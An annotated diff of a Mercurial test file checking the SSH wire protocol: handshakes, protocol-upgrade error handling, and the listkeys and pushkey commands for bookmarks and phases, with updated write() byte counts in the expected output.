1029 1029 remote: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1030 1030 Main capabilities:
1031 1031 batch
1032 1032 branchmap
1033 1033 $USUAL_BUNDLE2_CAPS_SERVER$
1034 1034 changegroupsubset
1035 1035 getbundle
1036 1036 known
1037 1037 lookup
1038 1038 pushkey
1039 1039 streamreqs=generaldelta,revlogv1
1040 1040 unbundle=HG10GZ,HG10BZ,HG10UN
1041 1041 unbundlehash
1042 1042 Bundle2 capabilities:
1043 1043 HG20
1044 1044 bookmarks
1045 1045 changegroup
1046 1046 01
1047 1047 02
1048 1048 digests
1049 1049 md5
1050 1050 sha1
1051 1051 sha512
1052 1052 error
1053 1053 abort
1054 1054 unsupportedcontent
1055 1055 pushraced
1056 1056 pushkey
1057 1057 hgtagsfnodes
1058 1058 listkeys
1059 1059 phases
1060 1060 heads
1061 1061 pushkey
1062 1062 remote-changegroup
1063 1063 http
1064 1064 https
1065 1065
1066 1066 Command after upgrade to version 2 is processed
1067 1067
1068 1068 $ cd server
1069 1069
1070 1070 $ hg debugwireproto --localssh --peer raw << EOF
1071 1071 > raw
1072 1072 > upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1073 1073 > hello\n
1074 1074 > between\n
1075 1075 > pairs 81\n
1076 1076 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1077 1077 > readline
1078 1078 > readline
1079 1079 > readline
1080 1080 > raw
1081 1081 > hello\n
1082 1082 > readline
1083 1083 > readline
1084 1084 > EOF
1085 1085 using raw connection to peer
1086 i> write(153) -> None:
1086 i> write(153) -> 153:
1087 1087 i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1088 1088 i> hello\n
1089 1089 i> between\n
1090 1090 i> pairs 81\n
1091 1091 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1092 1092 o> readline() -> 44:
1093 1093 o> upgraded this-is-some-token exp-ssh-v2-0001\n
1094 1094 o> readline() -> 4:
1095 1095 o> 383\n
1096 1096 o> readline() -> 384:
1097 1097 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1098 i> write(6) -> None:
1098 i> write(6) -> 6:
1099 1099 i> hello\n
1100 1100 o> readline() -> 4:
1101 1101 o> 366\n
1102 1102 o> readline() -> 366:
1103 1103 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1104 1104
1105 1105 Multiple upgrades is not allowed
1106 1106
1107 1107 $ hg debugwireproto --localssh --peer raw << EOF
1108 1108 > raw
1109 1109 > upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1110 1110 > hello\n
1111 1111 > between\n
1112 1112 > pairs 81\n
1113 1113 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1114 1114 > readline
1115 1115 > readline
1116 1116 > readline
1117 1117 > raw
1118 1118 > upgrade another-token proto=irrelevant\n
1119 1119 > hello\n
1120 1120 > readline
1121 1121 > readavailable
1122 1122 > EOF
1123 1123 using raw connection to peer
1124 i> write(153) -> None:
1124 i> write(153) -> 153:
1125 1125 i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n
1126 1126 i> hello\n
1127 1127 i> between\n
1128 1128 i> pairs 81\n
1129 1129 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1130 1130 o> readline() -> 44:
1131 1131 o> upgraded this-is-some-token exp-ssh-v2-0001\n
1132 1132 o> readline() -> 4:
1133 1133 o> 383\n
1134 1134 o> readline() -> 384:
1135 1135 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1136 i> write(45) -> None:
1136 i> write(45) -> 45:
1137 1137 i> upgrade another-token proto=irrelevant\n
1138 1138 i> hello\n
1139 1139 o> readline() -> 1:
1140 1140 o> \n
1141 1141 e> read(-1) -> 42:
1142 1142 e> cannot upgrade protocols multiple times\n
1143 1143 e> -\n
1144 1144
1145 1145 Malformed upgrade request line (not exactly 3 space delimited tokens)
1146 1146
1147 1147 $ hg debugwireproto --localssh --peer raw << EOF
1148 1148 > raw
1149 1149 > upgrade\n
1150 1150 > readline
1151 1151 > EOF
1152 1152 using raw connection to peer
1153 i> write(8) -> None:
1153 i> write(8) -> 8:
1154 1154 i> upgrade\n
1155 1155 o> readline() -> 2:
1156 1156 o> 0\n
1157 1157
1158 1158 $ hg debugwireproto --localssh --peer raw << EOF
1159 1159 > raw
1160 1160 > upgrade token\n
1161 1161 > readline
1162 1162 > EOF
1163 1163 using raw connection to peer
1164 i> write(14) -> None:
1164 i> write(14) -> 14:
1165 1165 i> upgrade token\n
1166 1166 o> readline() -> 2:
1167 1167 o> 0\n
1168 1168
1169 1169 $ hg debugwireproto --localssh --peer raw << EOF
1170 1170 > raw
1171 1171 > upgrade token foo=bar extra-token\n
1172 1172 > readline
1173 1173 > EOF
1174 1174 using raw connection to peer
1175 i> write(34) -> None:
1175 i> write(34) -> 34:
1176 1176 i> upgrade token foo=bar extra-token\n
1177 1177 o> readline() -> 2:
1178 1178 o> 0\n
1179 1179
1180 1180 Upgrade request to unsupported protocol is ignored
1181 1181
1182 1182 $ hg debugwireproto --localssh --peer raw << EOF
1183 1183 > raw
1184 1184 > upgrade this-is-some-token proto=unknown1,unknown2\n
1185 1185 > readline
1186 1186 > raw
1187 1187 > hello\n
1188 1188 > readline
1189 1189 > readline
1190 1190 > raw
1191 1191 > between\n
1192 1192 > pairs 81\n
1193 1193 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1194 1194 > readline
1195 1195 > readline
1196 1196 > EOF
1197 1197 using raw connection to peer
1198 i> write(51) -> None:
1198 i> write(51) -> 51:
1199 1199 i> upgrade this-is-some-token proto=unknown1,unknown2\n
1200 1200 o> readline() -> 2:
1201 1201 o> 0\n
1202 i> write(6) -> None:
1202 i> write(6) -> 6:
1203 1203 i> hello\n
1204 1204 o> readline() -> 4:
1205 1205 o> 384\n
1206 1206 o> readline() -> 384:
1207 1207 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1208 i> write(98) -> None:
1208 i> write(98) -> 98:
1209 1209 i> between\n
1210 1210 i> pairs 81\n
1211 1211 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1212 1212 o> readline() -> 2:
1213 1213 o> 1\n
1214 1214 o> readline() -> 1:
1215 1215 o> \n
1216 1216
1217 1217 Upgrade request must be followed by hello + between
1218 1218
1219 1219 $ hg debugwireproto --localssh --peer raw << EOF
1220 1220 > raw
1221 1221 > upgrade token proto=exp-ssh-v2-0001\n
1222 1222 > invalid\n
1223 1223 > readline
1224 1224 > readavailable
1225 1225 > EOF
1226 1226 using raw connection to peer
1227 i> write(44) -> None:
1227 i> write(44) -> 44:
1228 1228 i> upgrade token proto=exp-ssh-v2-0001\n
1229 1229 i> invalid\n
1230 1230 o> readline() -> 1:
1231 1231 o> \n
1232 1232 e> read(-1) -> 46:
1233 1233 e> malformed handshake protocol: missing hello\n
1234 1234 e> -\n
1235 1235
1236 1236 $ hg debugwireproto --localssh --peer raw << EOF
1237 1237 > raw
1238 1238 > upgrade token proto=exp-ssh-v2-0001\n
1239 1239 > hello\n
1240 1240 > invalid\n
1241 1241 > readline
1242 1242 > readavailable
1243 1243 > EOF
1244 1244 using raw connection to peer
1245 i> write(50) -> None:
1245 i> write(50) -> 50:
1246 1246 i> upgrade token proto=exp-ssh-v2-0001\n
1247 1247 i> hello\n
1248 1248 i> invalid\n
1249 1249 o> readline() -> 1:
1250 1250 o> \n
1251 1251 e> read(-1) -> 48:
1252 1252 e> malformed handshake protocol: missing between\n
1253 1253 e> -\n
1254 1254
1255 1255 $ hg debugwireproto --localssh --peer raw << EOF
1256 1256 > raw
1257 1257 > upgrade token proto=exp-ssh-v2-0001\n
1258 1258 > hello\n
1259 1259 > between\n
1260 1260 > invalid\n
1261 1261 > readline
1262 1262 > readavailable
1263 1263 > EOF
1264 1264 using raw connection to peer
1265 i> write(58) -> None:
1265 i> write(58) -> 58:
1266 1266 i> upgrade token proto=exp-ssh-v2-0001\n
1267 1267 i> hello\n
1268 1268 i> between\n
1269 1269 i> invalid\n
1270 1270 o> readline() -> 1:
1271 1271 o> \n
1272 1272 e> read(-1) -> 49:
1273 1273 e> malformed handshake protocol: missing pairs 81\n
1274 1274 e> -\n
1275 1275
1276 1276 Legacy commands are not exposed to version 2 of protocol
1277 1277
1278 1278 $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF
1279 1279 > command branches
1280 1280 > nodes 0000000000000000000000000000000000000000
1281 1281 > EOF
1282 1282 creating ssh peer from handshake results
1283 1283 sending branches command
1284 1284 response:
1285 1285
1286 1286 $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF
1287 1287 > command changegroup
1288 1288 > roots 0000000000000000000000000000000000000000
1289 1289 > EOF
1290 1290 creating ssh peer from handshake results
1291 1291 sending changegroup command
1292 1292 response:
1293 1293
1294 1294 $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF
1295 1295 > command changegroupsubset
1296 1296 > bases 0000000000000000000000000000000000000000
1297 1297 > heads 0000000000000000000000000000000000000000
1298 1298 > EOF
1299 1299 creating ssh peer from handshake results
1300 1300 sending changegroupsubset command
1301 1301 response:
1302 1302
1303 1303 $ cd ..
1304 1304
1305 1305 Test listkeys for listing namespaces
1306 1306
1307 1307 $ hg init empty
1308 1308 $ cd empty
1309 1309 $ debugwireproto << EOF
1310 1310 > command listkeys
1311 1311 > namespace namespaces
1312 1312 > EOF
1313 1313 testing ssh1
1314 1314 creating ssh peer from handshake results
1315 i> write(104) -> None:
1315 i> write(104) -> 104:
1316 1316 i> hello\n
1317 1317 i> between\n
1318 1318 i> pairs 81\n
1319 1319 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1320 1320 i> flush() -> None
1321 1321 o> readline() -> 4:
1322 1322 o> 384\n
1323 1323 o> readline() -> 384:
1324 1324 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1325 1325 o> readline() -> 2:
1326 1326 o> 1\n
1327 1327 o> readline() -> 1:
1328 1328 o> \n
1329 1329 sending listkeys command
1330 i> write(9) -> None:
1330 i> write(9) -> 9:
1331 1331 i> listkeys\n
1332 i> write(13) -> None:
1332 i> write(13) -> 13:
1333 1333 i> namespace 10\n
1334 i> write(10) -> None: namespaces
1334 i> write(10) -> 10: namespaces
1335 1335 i> flush() -> None
1336 1336 o> bufferedreadline() -> 3:
1337 1337 o> 30\n
1338 1338 o> bufferedread(30) -> 30:
1339 1339 o> bookmarks \n
1340 1340 o> namespaces \n
1341 1341 o> phases
1342 1342 response: bookmarks \nnamespaces \nphases
1343 1343
1344 1344 testing ssh2
1345 1345 creating ssh peer from handshake results
1346 i> write(171) -> None:
1346 i> write(171) -> 171:
1347 1347 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1348 1348 i> hello\n
1349 1349 i> between\n
1350 1350 i> pairs 81\n
1351 1351 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1352 1352 i> flush() -> None
1353 1353 o> readline() -> 62:
1354 1354 o> upgraded * exp-ssh-v2-0001\n (glob)
1355 1355 o> readline() -> 4:
1356 1356 o> 383\n
1357 1357 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1358 1358 o> read(1) -> 1:
1359 1359 o> \n
1360 1360 sending listkeys command
1361 i> write(9) -> None:
1361 i> write(9) -> 9:
1362 1362 i> listkeys\n
1363 i> write(13) -> None:
1363 i> write(13) -> 13:
1364 1364 i> namespace 10\n
1365 i> write(10) -> None: namespaces
1365 i> write(10) -> 10: namespaces
1366 1366 i> flush() -> None
1367 1367 o> bufferedreadline() -> 3:
1368 1368 o> 30\n
1369 1369 o> bufferedread(30) -> 30:
1370 1370 o> bookmarks \n
1371 1371 o> namespaces \n
1372 1372 o> phases
1373 1373 response: bookmarks \nnamespaces \nphases
1374 1374
1375 1375 $ cd ..
1376 1376
1377 1377 Test listkeys for bookmarks
1378 1378
1379 1379 $ hg init bookmarkrepo
1380 1380 $ cd bookmarkrepo
1381 1381 $ echo 0 > foo
1382 1382 $ hg add foo
1383 1383 $ hg -q commit -m initial
1384 1384 $ echo 1 > foo
1385 1385 $ hg commit -m second
1386 1386
1387 1387 With no bookmarks set
1388 1388
1389 1389 $ debugwireproto << EOF
1390 1390 > command listkeys
1391 1391 > namespace bookmarks
1392 1392 > EOF
1393 1393 testing ssh1
1394 1394 creating ssh peer from handshake results
1395 i> write(104) -> None:
1395 i> write(104) -> 104:
1396 1396 i> hello\n
1397 1397 i> between\n
1398 1398 i> pairs 81\n
1399 1399 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1400 1400 i> flush() -> None
1401 1401 o> readline() -> 4:
1402 1402 o> 384\n
1403 1403 o> readline() -> 384:
1404 1404 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1405 1405 o> readline() -> 2:
1406 1406 o> 1\n
1407 1407 o> readline() -> 1:
1408 1408 o> \n
1409 1409 sending listkeys command
1410 i> write(9) -> None:
1410 i> write(9) -> 9:
1411 1411 i> listkeys\n
1412 i> write(12) -> None:
1412 i> write(12) -> 12:
1413 1413 i> namespace 9\n
1414 i> write(9) -> None: bookmarks
1414 i> write(9) -> 9: bookmarks
1415 1415 i> flush() -> None
1416 1416 o> bufferedreadline() -> 2:
1417 1417 o> 0\n
1418 1418 response:
1419 1419
1420 1420 testing ssh2
1421 1421 creating ssh peer from handshake results
1422 i> write(171) -> None:
1422 i> write(171) -> 171:
1423 1423 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1424 1424 i> hello\n
1425 1425 i> between\n
1426 1426 i> pairs 81\n
1427 1427 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1428 1428 i> flush() -> None
1429 1429 o> readline() -> 62:
1430 1430 o> upgraded * exp-ssh-v2-0001\n (glob)
1431 1431 o> readline() -> 4:
1432 1432 o> 383\n
1433 1433 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1434 1434 o> read(1) -> 1:
1435 1435 o> \n
1436 1436 sending listkeys command
1437 i> write(9) -> None:
1437 i> write(9) -> 9:
1438 1438 i> listkeys\n
1439 i> write(12) -> None:
1439 i> write(12) -> 12:
1440 1440 i> namespace 9\n
1441 i> write(9) -> None: bookmarks
1441 i> write(9) -> 9: bookmarks
1442 1442 i> flush() -> None
1443 1443 o> bufferedreadline() -> 2:
1444 1444 o> 0\n
1445 1445 response:
1446 1446
1447 1447 With a single bookmark set
1448 1448
1449 1449 $ hg book -r 0 bookA
1450 1450 $ debugwireproto << EOF
1451 1451 > command listkeys
1452 1452 > namespace bookmarks
1453 1453 > EOF
1454 1454 testing ssh1
1455 1455 creating ssh peer from handshake results
1456 i> write(104) -> None:
1456 i> write(104) -> 104:
1457 1457 i> hello\n
1458 1458 i> between\n
1459 1459 i> pairs 81\n
1460 1460 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1461 1461 i> flush() -> None
1462 1462 o> readline() -> 4:
1463 1463 o> 384\n
1464 1464 o> readline() -> 384:
1465 1465 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1466 1466 o> readline() -> 2:
1467 1467 o> 1\n
1468 1468 o> readline() -> 1:
1469 1469 o> \n
1470 1470 sending listkeys command
1471 i> write(9) -> None:
1471 i> write(9) -> 9:
1472 1472 i> listkeys\n
1473 i> write(12) -> None:
1473 i> write(12) -> 12:
1474 1474 i> namespace 9\n
1475 i> write(9) -> None: bookmarks
1475 i> write(9) -> 9: bookmarks
1476 1476 i> flush() -> None
1477 1477 o> bufferedreadline() -> 3:
1478 1478 o> 46\n
1479 1479 o> bufferedread(46) -> 46: bookA 68986213bd4485ea51533535e3fc9e78007a711f
1480 1480 response: bookA 68986213bd4485ea51533535e3fc9e78007a711f
1481 1481
1482 1482 testing ssh2
1483 1483 creating ssh peer from handshake results
1484 i> write(171) -> None:
1484 i> write(171) -> 171:
1485 1485 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1486 1486 i> hello\n
1487 1487 i> between\n
1488 1488 i> pairs 81\n
1489 1489 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1490 1490 i> flush() -> None
1491 1491 o> readline() -> 62:
1492 1492 o> upgraded * exp-ssh-v2-0001\n (glob)
1493 1493 o> readline() -> 4:
1494 1494 o> 383\n
1495 1495 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1496 1496 o> read(1) -> 1:
1497 1497 o> \n
1498 1498 sending listkeys command
1499 i> write(9) -> None:
1499 i> write(9) -> 9:
1500 1500 i> listkeys\n
1501 i> write(12) -> None:
1501 i> write(12) -> 12:
1502 1502 i> namespace 9\n
1503 i> write(9) -> None: bookmarks
1503 i> write(9) -> 9: bookmarks
1504 1504 i> flush() -> None
1505 1505 o> bufferedreadline() -> 3:
1506 1506 o> 46\n
1507 1507 o> bufferedread(46) -> 46: bookA 68986213bd4485ea51533535e3fc9e78007a711f
1508 1508 response: bookA 68986213bd4485ea51533535e3fc9e78007a711f
1509 1509
1510 1510 With multiple bookmarks set
1511 1511
1512 1512 $ hg book -r 1 bookB
1513 1513 $ debugwireproto << EOF
1514 1514 > command listkeys
1515 1515 > namespace bookmarks
1516 1516 > EOF
1517 1517 testing ssh1
1518 1518 creating ssh peer from handshake results
1519 i> write(104) -> None:
1519 i> write(104) -> 104:
1520 1520 i> hello\n
1521 1521 i> between\n
1522 1522 i> pairs 81\n
1523 1523 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1524 1524 i> flush() -> None
1525 1525 o> readline() -> 4:
1526 1526 o> 384\n
1527 1527 o> readline() -> 384:
1528 1528 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1529 1529 o> readline() -> 2:
1530 1530 o> 1\n
1531 1531 o> readline() -> 1:
1532 1532 o> \n
1533 1533 sending listkeys command
1534 i> write(9) -> None:
1534 i> write(9) -> 9:
1535 1535 i> listkeys\n
1536 i> write(12) -> None:
1536 i> write(12) -> 12:
1537 1537 i> namespace 9\n
1538 i> write(9) -> None: bookmarks
1538 i> write(9) -> 9: bookmarks
1539 1539 i> flush() -> None
1540 1540 o> bufferedreadline() -> 3:
1541 1541 o> 93\n
1542 1542 o> bufferedread(93) -> 93:
1543 1543 o> bookA 68986213bd4485ea51533535e3fc9e78007a711f\n
1544 1544 o> bookB 1880f3755e2e52e3199e0ee5638128b08642f34d
1545 1545 response: bookA 68986213bd4485ea51533535e3fc9e78007a711f\nbookB 1880f3755e2e52e3199e0ee5638128b08642f34d
1546 1546
1547 1547 testing ssh2
1548 1548 creating ssh peer from handshake results
1549 i> write(171) -> None:
1549 i> write(171) -> 171:
1550 1550 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1551 1551 i> hello\n
1552 1552 i> between\n
1553 1553 i> pairs 81\n
1554 1554 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1555 1555 i> flush() -> None
1556 1556 o> readline() -> 62:
1557 1557 o> upgraded * exp-ssh-v2-0001\n (glob)
1558 1558 o> readline() -> 4:
1559 1559 o> 383\n
1560 1560 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1561 1561 o> read(1) -> 1:
1562 1562 o> \n
1563 1563 sending listkeys command
1564 i> write(9) -> None:
1564 i> write(9) -> 9:
1565 1565 i> listkeys\n
1566 i> write(12) -> None:
1566 i> write(12) -> 12:
1567 1567 i> namespace 9\n
1568 i> write(9) -> None: bookmarks
1568 i> write(9) -> 9: bookmarks
1569 1569 i> flush() -> None
1570 1570 o> bufferedreadline() -> 3:
1571 1571 o> 93\n
1572 1572 o> bufferedread(93) -> 93:
1573 1573 o> bookA 68986213bd4485ea51533535e3fc9e78007a711f\n
1574 1574 o> bookB 1880f3755e2e52e3199e0ee5638128b08642f34d
1575 1575 response: bookA 68986213bd4485ea51533535e3fc9e78007a711f\nbookB 1880f3755e2e52e3199e0ee5638128b08642f34d
1576 1576
1577 1577 Test pushkey for bookmarks
1578 1578
1579 1579 $ debugwireproto << EOF
1580 1580 > command pushkey
1581 1581 > namespace bookmarks
1582 1582 > key remote
1583 1583 > old
1584 1584 > new 68986213bd4485ea51533535e3fc9e78007a711f
1585 1585 > EOF
1586 1586 testing ssh1
1587 1587 creating ssh peer from handshake results
1588 i> write(104) -> None:
1588 i> write(104) -> 104:
1589 1589 i> hello\n
1590 1590 i> between\n
1591 1591 i> pairs 81\n
1592 1592 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1593 1593 i> flush() -> None
1594 1594 o> readline() -> 4:
1595 1595 o> 384\n
1596 1596 o> readline() -> 384:
1597 1597 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1598 1598 o> readline() -> 2:
1599 1599 o> 1\n
1600 1600 o> readline() -> 1:
1601 1601 o> \n
1602 1602 sending pushkey command
1603 i> write(8) -> None:
1603 i> write(8) -> 8:
1604 1604 i> pushkey\n
1605 i> write(6) -> None:
1605 i> write(6) -> 6:
1606 1606 i> key 6\n
1607 i> write(6) -> None: remote
1608 i> write(12) -> None:
1607 i> write(6) -> 6: remote
1608 i> write(12) -> 12:
1609 1609 i> namespace 9\n
1610 i> write(9) -> None: bookmarks
1611 i> write(7) -> None:
1610 i> write(9) -> 9: bookmarks
1611 i> write(7) -> 7:
1612 1612 i> new 40\n
1613 i> write(40) -> None: 68986213bd4485ea51533535e3fc9e78007a711f
1614 i> write(6) -> None:
1613 i> write(40) -> 40: 68986213bd4485ea51533535e3fc9e78007a711f
1614 i> write(6) -> 6:
1615 1615 i> old 0\n
1616 1616 i> flush() -> None
1617 1617 o> bufferedreadline() -> 2:
1618 1618 o> 2\n
1619 1619 o> bufferedread(2) -> 2:
1620 1620 o> 1\n
1621 1621 response: 1\n
1622 1622
1623 1623 testing ssh2
1624 1624 creating ssh peer from handshake results
1625 i> write(171) -> None:
1625 i> write(171) -> 171:
1626 1626 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1627 1627 i> hello\n
1628 1628 i> between\n
1629 1629 i> pairs 81\n
1630 1630 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1631 1631 i> flush() -> None
1632 1632 o> readline() -> 62:
1633 1633 o> upgraded * exp-ssh-v2-0001\n (glob)
1634 1634 o> readline() -> 4:
1635 1635 o> 383\n
1636 1636 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1637 1637 o> read(1) -> 1:
1638 1638 o> \n
1639 1639 sending pushkey command
1640 i> write(8) -> None:
1640 i> write(8) -> 8:
1641 1641 i> pushkey\n
1642 i> write(6) -> None:
1642 i> write(6) -> 6:
1643 1643 i> key 6\n
1644 i> write(6) -> None: remote
1645 i> write(12) -> None:
1644 i> write(6) -> 6: remote
1645 i> write(12) -> 12:
1646 1646 i> namespace 9\n
1647 i> write(9) -> None: bookmarks
1648 i> write(7) -> None:
1647 i> write(9) -> 9: bookmarks
1648 i> write(7) -> 7:
1649 1649 i> new 40\n
1650 i> write(40) -> None: 68986213bd4485ea51533535e3fc9e78007a711f
1651 i> write(6) -> None:
1650 i> write(40) -> 40: 68986213bd4485ea51533535e3fc9e78007a711f
1651 i> write(6) -> 6:
1652 1652 i> old 0\n
1653 1653 i> flush() -> None
1654 1654 o> bufferedreadline() -> 2:
1655 1655 o> 2\n
1656 1656 o> bufferedread(2) -> 2:
1657 1657 o> 1\n
1658 1658 response: 1\n
1659 1659
1660 1660 $ hg bookmarks
1661 1661 bookA 0:68986213bd44
1662 1662 bookB 1:1880f3755e2e
1663 1663 remote 0:68986213bd44
1664 1664
1665 1665 $ cd ..
1666 1666
1667 1667 Test listkeys for phases
1668 1668
1669 1669 $ hg init phasesrepo
1670 1670 $ cd phasesrepo
1671 1671
1672 1672 Phases on empty repo
1673 1673
1674 1674 $ debugwireproto << EOF
1675 1675 > command listkeys
1676 1676 > namespace phases
1677 1677 > EOF
1678 1678 testing ssh1
1679 1679 creating ssh peer from handshake results
1680 i> write(104) -> None:
1680 i> write(104) -> 104:
1681 1681 i> hello\n
1682 1682 i> between\n
1683 1683 i> pairs 81\n
1684 1684 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1685 1685 i> flush() -> None
1686 1686 o> readline() -> 4:
1687 1687 o> 384\n
1688 1688 o> readline() -> 384:
1689 1689 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1690 1690 o> readline() -> 2:
1691 1691 o> 1\n
1692 1692 o> readline() -> 1:
1693 1693 o> \n
1694 1694 sending listkeys command
1695 i> write(9) -> None:
1695 i> write(9) -> 9:
1696 1696 i> listkeys\n
1697 i> write(12) -> None:
1697 i> write(12) -> 12:
1698 1698 i> namespace 6\n
1699 i> write(6) -> None: phases
1699 i> write(6) -> 6: phases
1700 1700 i> flush() -> None
1701 1701 o> bufferedreadline() -> 3:
1702 1702 o> 15\n
1703 1703 o> bufferedread(15) -> 15: publishing True
1704 1704 response: publishing True
1705 1705
1706 1706 testing ssh2
1707 1707 creating ssh peer from handshake results
1708 i> write(171) -> None:
1708 i> write(171) -> 171:
1709 1709 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1710 1710 i> hello\n
1711 1711 i> between\n
1712 1712 i> pairs 81\n
1713 1713 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1714 1714 i> flush() -> None
1715 1715 o> readline() -> 62:
1716 1716 o> upgraded * exp-ssh-v2-0001\n (glob)
1717 1717 o> readline() -> 4:
1718 1718 o> 383\n
1719 1719 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1720 1720 o> read(1) -> 1:
1721 1721 o> \n
1722 1722 sending listkeys command
1723 i> write(9) -> None:
1723 i> write(9) -> 9:
1724 1724 i> listkeys\n
1725 i> write(12) -> None:
1725 i> write(12) -> 12:
1726 1726 i> namespace 6\n
1727 i> write(6) -> None: phases
1727 i> write(6) -> 6: phases
1728 1728 i> flush() -> None
1729 1729 o> bufferedreadline() -> 3:
1730 1730 o> 15\n
1731 1731 o> bufferedread(15) -> 15: publishing True
1732 1732 response: publishing True
1733 1733
1734 1734 Create some commits
1735 1735
1736 1736 $ echo 0 > foo
1737 1737 $ hg add foo
1738 1738 $ hg -q commit -m initial
1739 1739 $ hg phase --public
1740 1740 $ echo 1 > foo
1741 1741 $ hg commit -m 'head 1 commit 1'
1742 1742 $ echo 2 > foo
1743 1743 $ hg commit -m 'head 1 commit 2'
1744 1744 $ hg -q up 0
1745 1745 $ echo 1a > foo
1746 1746 $ hg commit -m 'head 2 commit 1'
1747 1747 created new head
1748 1748 $ echo 2a > foo
1749 1749 $ hg commit -m 'head 2 commit 2'
1750 1750
1751 1751 Two draft heads
1752 1752
1753 1753 $ debugwireproto << EOF
1754 1754 > command listkeys
1755 1755 > namespace phases
1756 1756 > EOF
1757 1757 testing ssh1
1758 1758 creating ssh peer from handshake results
1759 i> write(104) -> None:
1759 i> write(104) -> 104:
1760 1760 i> hello\n
1761 1761 i> between\n
1762 1762 i> pairs 81\n
1763 1763 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1764 1764 i> flush() -> None
1765 1765 o> readline() -> 4:
1766 1766 o> 384\n
